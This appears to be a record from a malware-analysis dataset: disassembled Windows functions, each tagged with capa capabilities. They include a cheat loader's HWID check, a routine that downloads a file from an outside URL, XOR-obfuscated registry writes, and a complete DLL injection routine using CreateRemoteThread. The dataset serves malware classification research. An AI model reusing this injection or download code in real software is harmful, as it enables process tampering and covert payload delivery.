joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4025e0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push esi
lea eax, [ebp - 0x108]
push str._s.
push eax
call fcn.0040bead
add esp, 0xc
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov edi, eax
lea eax, [ebp - 0x21c]
push eax
push esi
lea ecx, [ebp - 0x108]
push str._s_s
push ecx
call fcn.0040bead
lea edx, [ebp - 0x108]
push edx
call fcn.0040cf4e
add esp, 0x14
lea eax, [ebp - 0x248]
push eax
push edi
call ebx
test eax, eax
jne 0x402626
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0040b45d
mov esp, ebp
pop ebp
ret
Function at 0x4040e0
Capabilities:
Create process on windows
Delete file
Get disk information
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42360b
mov eax, dword fs:[0]
push eax
sub esp, 0x618
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.C:HWID.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 0xff
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x61c], eax
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x404259
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x620]
push edx
push 0
push 0
push 0x4275c0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x404259
lea eax, [ebp - 0x61c]
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x404259
lea edi, [ebp - 0x110]
call fcn.00402b00
lea edi, [ebp - 0x210]
mov esi, eax
call fcn.00402b00
mov edx, dword [ebp - 0x620]
add eax, esi
lea eax, [eax + edx + 0x1f3a7]
push eax
lea eax, [ebp - 0x5f8]
push 0x42774c
push eax
call fcn.0040bead
sub esp, 0x10
mov ecx, esp
lea eax, [ebp - 0x5f8]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov dword [ebp - 0x624], esp
mov byte [ecx], 0
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4041e5
sub eax, esi
push eax
lea edx, [ebp - 0x5f8]
push edx
call fcn.00401640
lea ecx, [ebp - 0x614]
call fcn.00409270
add esp, 0x1c
mov esi, 0x10
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], esi
jb 0x40421c
mov eax, dword [eax]
push eax
push str.Connection_Failure..._nTelah_terjadi_kesalahan___Mungkin_:_n___Server_down_n___Cheat_disuspend_n___Anda_belum_terdaftar._n___Durasi_Anda_telah_habis._n___Hubungi_Seller_Anda_untuk_info_lebih_lanjut___n___Terima_Kasih____n_n_nYour_HWID_:__s
call fcn.00402720
add esp, 8
cmp dword [ebp - 0x600], esi
jb 0x404241
mov eax, dword [ebp - 0x614]
push eax
call fcn.0040bdd1
add esp, 4
push 1
push 0
push 0
push str.C:HWID.txt
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b45d
mov esp, ebp
pop ebp
ret
Function at 0x404280
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
xor edi, edi
push 0x3ff
lea eax, [ebp - 0x403]
push edi
push eax
mov dword [ebp - 0x40c], edi
mov dword [ebp - 0x408], edi
mov dword [ebp - 0x410], edi
mov byte [ebp - 0x404], 0
call fcn.004145f0
add esp, 0xc
push edi
push edi
push edi
push edi
push str.Mozilla_5.0__Windows_NT_6.3__
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x414], ebx
cmp ebx, edi
je 0x4043ac
push esi
push edi
push 0x80000000
push edi
push edi
push str.http:__zepetto.online_ao_PlayStory_CBs.cbm
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, edi
je 0x4043a4
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push str.C:CB.CBM
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x404397
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x408]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push edx
push esi
call ebx
test eax, eax
je 0x404380
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x404380
push 0
lea ecx, [ebp - 0x410]
push ecx
push eax
lea edx, [ebp - 0x404]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x408]
push eax
push 0x400
lea ecx, [ebp - 0x404]
push ecx
push esi
call ebx
test eax, eax
jne 0x404344
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x414]
mov dword [ebp - 0x40c], 1
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x40c]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop ebx
call fcn.0040b45d
mov esp, ebp
pop ebp
ret
Function at 0x404460
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422ed8
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov ecx, 0x5b
xor eax, eax
mov dl, byte [eax + 0x427850]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x7c], dl
jns 0x4044b0
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x3e
jl 0x404493
push 0x523244
push 0xf003f
push ebx
lea eax, [ebp - 0x7c]
push eax
push 0x80000002
mov byte [ebp - 0x3e], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 1
push 0x427890
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00401640
mov dword [ebp - 4], ebx
call fcn.004043c0
mov ecx, eax
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404500
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404ee0
push 1
mov eax, 0x427894
lea ecx, [ebp - 0x2c]
call fcn.00404ee0
call fcn.004043c0
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x404530
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404530
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404ee0
push 1
mov eax, 0x427894
lea ecx, [ebp - 0x2c]
call fcn.00404ee0
call fcn.004043c0
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x404560
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404560
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404ee0
push 1
mov eax, 0x427894
lea ecx, [ebp - 0x2c]
call fcn.00404ee0
call fcn.004043c0
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x404590
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404590
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404ee0
push 1
mov eax, 0x427894
lea ecx, [ebp - 0x2c]
call fcn.00404ee0
call fcn.004043c0
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x4045c0
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x4045c0
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404ee0
push 1
mov eax, 0x427898
lea ecx, [ebp - 0x2c]
call fcn.00404ee0
mov ecx, 0x5b
xor eax, eax
jmp 0x4045f0
mov dl, byte [eax + 0x42789c]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x3c], dl
jns 0x40460d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xd
jl 0x4045f0
mov eax, dword [ebp - 0x2c]
mov esi, 0x10
mov byte [ebp - 0x2f], bl
cmp dword [ebp - 0x18], esi
jae 0x404626
lea eax, [ebp - 0x2c]
mov ecx, dword [0x523244]
push 0x1f
push eax
push 1
push ebx
lea eax, [ebp - 0x3c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [0x523244]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x18], esi
jb 0x40465b
mov eax, dword [ebp - 0x2c]
push eax
call fcn.0040bdd1
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b45d
mov esp, ebp
pop ebp
ret
Function at 0x404680
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push 0
mov esi, ecx
lea ecx, [ebp - 0x108]
push ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x4046d0
push str.An_error_is_occured_when_trying_to_get_the_full_path_of_the_DLL._n
call fcn.0040cfb9
add esp, 4
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b45d
mov esp, ebp
pop ebp
ret
push edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
jne 0x404705
push str.An_error_is_occured_when_trying_to_open_the_target_process._n
call fcn.0040cfb9
add esp, 4
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b45d
mov esp, ebp
pop ebp
ret
push ebx
push str._PROCESS_INJECTION__n
call fcn.0040cfb9
push str.Process_opened_successfully._n
call fcn.0040cfb9
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push 0x40
push 0x3000
lea edx, [ebp - 0x108]
push edx
call ebx
inc eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x404764
push str.An_error_is_occured_when_trying_to_allocate_memory_in_the_target_process._n
call fcn.0040cfb9
add esp, 4
pop ebx
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b45d
mov esp, ebp
pop ebp
ret
push esi
push str.Memory_allocate_at_0x_X_n
call fcn.0040cfb9
add esp, 8
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
inc eax
push eax
lea ecx, [ebp - 0x108]
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x404799
push str.An_error_is_occured_when_trying_to_write_the_DLL_path_in_the_target_process._n
jmp 0x404749
push str.DLL_path_writen_successfully._n
call fcn.0040cfb9
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, 0xffffffff
je 0x404751
test eax, eax
je 0x404751
push str.LoadLibraryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x4047d6
push str.An_error_is_occured_when_trying_to_get__LoadLibraryA__address._n
jmp 0x404749
push ebx
push str.LoadLibraryA_address_at_0x_X_n
call fcn.0040cfb9
add esp, 8
push 0
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, 0xffffffff
jne 0x404804
push str.An_error_is_occured_when_trying_to_create_the_thread_in_the_target_process._n
jmp 0x404749
push str.DLL_Injected___n
call fcn.0040cfb9
mov ecx, dword [ebp - 4]
add esp, 4
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040b45d
mov esp, ebp
pop ebp
ret
Function at 0x4071c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423038
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x40736e
cmp byte [ebx + 0x49], 0
je 0x40736e
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x407362
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x407235
lea eax, [ebp - 0x2c]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x407252
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x407289
dec eax
je 0x40728d
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x407369
call fcn.00401390
xor al, al
jmp 0x407370
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x40729d
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x4072ca
cmp edi, 0x10
jae 0x4072ac
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0040d4e9
add esp, 0x10
cmp esi, eax
jne 0x40735a
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x407366
test esi, esi
jne 0x407246
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40738b
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40738b
cmp edi, esi
jae 0x407343
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00401830
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x407246
mov ecx, eax
cmp edi, 0x10
jae 0x40731f
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40733a
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x407240
test esi, esi
jne 0x407315
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x407352
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x407240
lea ecx, [ebp - 0x2c]
call fcn.00401390
xor al, al
jmp 0x407370
lea ecx, [ebp - 0x2c]
call fcn.00401390
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b45d
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.0040a978
int3
Function at 0x407650
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422cdb
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x42b6d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040afc9
push 4
mov dword [ebp - 4], 0
call fcn.0040be2d
mov edi, eax
add esp, 4
test edi, edi
je 0x4076cc
call fcn.0040aea1
mov dword [edi], eax
call fcn.0040ac60
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0040af8a
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4076c2
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0040afb2
jmp 0x4076ce
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409270
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4230a8
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov ebx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x4092d5
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.00409030
mov ecx, esi
call fcn.004090e0
mov eax, esi
push eax
call fcn.004091c0
cmp dword [ebp + 0x1c], 0x10
jb 0x409302
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040bdd1
add esp, 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b45d
mov esp, ebp
pop ebp
ret

Function at 0x40b45d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b6d0]
jne 0x40b467
repz ret
jmp fcn.004110bc
Function at 0x415cec
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x415d13
call fcn.0040e28b
mov dword [eax], esi
call fcn.0040e278
push 0x16
pop esi
mov dword [eax], esi
call fcn.004134ed
mov eax, esi
jmp 0x415d68
test dword [ebp + 0xc], 0xfffffff9
jne 0x415cf9
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x415d40
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040e29e
pop ecx
call fcn.0040e278
mov eax, dword [eax]
jmp 0x415d68
test al, 0x10
jne 0x415d66
test al, 1
je 0x415d66
test byte [ebp + 0xc], 2
je 0x415d66
call fcn.0040e28b
mov dword [eax], 5
call fcn.0040e278
mov dword [eax], 0xd
jmp 0x415d37
xor eax, eax
pop esi
pop ebp
ret

Function at 0x416f48
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00411d51
and dword [ebp - 0x14], 0
cmp dword [0x42d9b0], 0
mov dword [ebp - 0x18], eax
jne 0x416ffb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4170a3
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4170a3
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42d9b0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42d9b4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42d9b8], eax
call edi
push eax
call esi
mov dword [0x42d9c0], eax
test eax, eax
je 0x416ffb
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42d9bc], eax
mov eax, dword [0x42d9bc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x417054
cmp dword [0x42d9c0], ecx
je 0x417054
push eax
call esi
push dword [0x42d9c0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x417054
test ebx, ebx
je 0x417054
call edi
test eax, eax
je 0x41704b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41704b
test byte [ebp - 8], 1
jne 0x417054
or dword [ebp + 0x10], 0x200000
jmp 0x417087
mov eax, dword [0x42d9b4]
cmp eax, dword [ebp - 0x18]
je 0x417087
push eax
call esi
test eax, eax
je 0x417087
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x417087
mov eax, dword [0x42d9b8]
cmp eax, dword [ebp - 0x18]
je 0x417087
push eax
call esi
test eax, eax
je 0x417087
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42d9b0]
call esi
test eax, eax
je 0x4170a3
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4170a5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b45d
leave
ret
Function at 0x10026440
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x100264b1
mov ecx, dword [ebp - 4]
cmp dword [ecx + 8], 0
je 0x100264b1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.DLL_FlushInstructionCache]
test eax, eax
jne 0x1002649a
jmp 0x100264b1
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8

Function at 0x401200
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
xor edi, edi
mov ebx, dword [esp + 0x20]
push edi
push edi
push edi
mov edx, dword [ebx]
push edi
push edi
lea eax, [esp + 0x20]
push edi
lea ecx, [esp + 0x2c]
push eax
push ecx
push edi
push edi
push edi
push edx
mov dword [esp + 0x40], edi
mov dword [esp + 0x44], edi
mov dword [esp + 0x3c], edi
mov dword [esp + 0x48], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov eax, dword [esp + 0xc]
inc eax
push eax
call sub.MFC42.DLL_operatornew
mov esi, eax
mov eax, dword [esp + 0x18]
add esp, 4
cmp eax, edi
jbe 0x4012b6
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ecx, dword [esp + 0x10]
mov eax, dword [ebx]
push 0
push 0
push 0
lea edx, [esp + 0x28]
push 0
push edx
push esi
inc ecx
push edi
push eax
mov dword [esp + 0x3c], ecx
call ebp
mov edx, dword [ebx]
lea ecx, [esp + 0x14]
push ecx
push 0xf003f
push 0
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x14]
push eax
call fcn.00401200
mov ecx, dword [esp + 0x18]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebx]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [esp + 0x18]
inc edi
cmp edi, eax
jb 0x401257
pop ebp
push esi
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x10
ret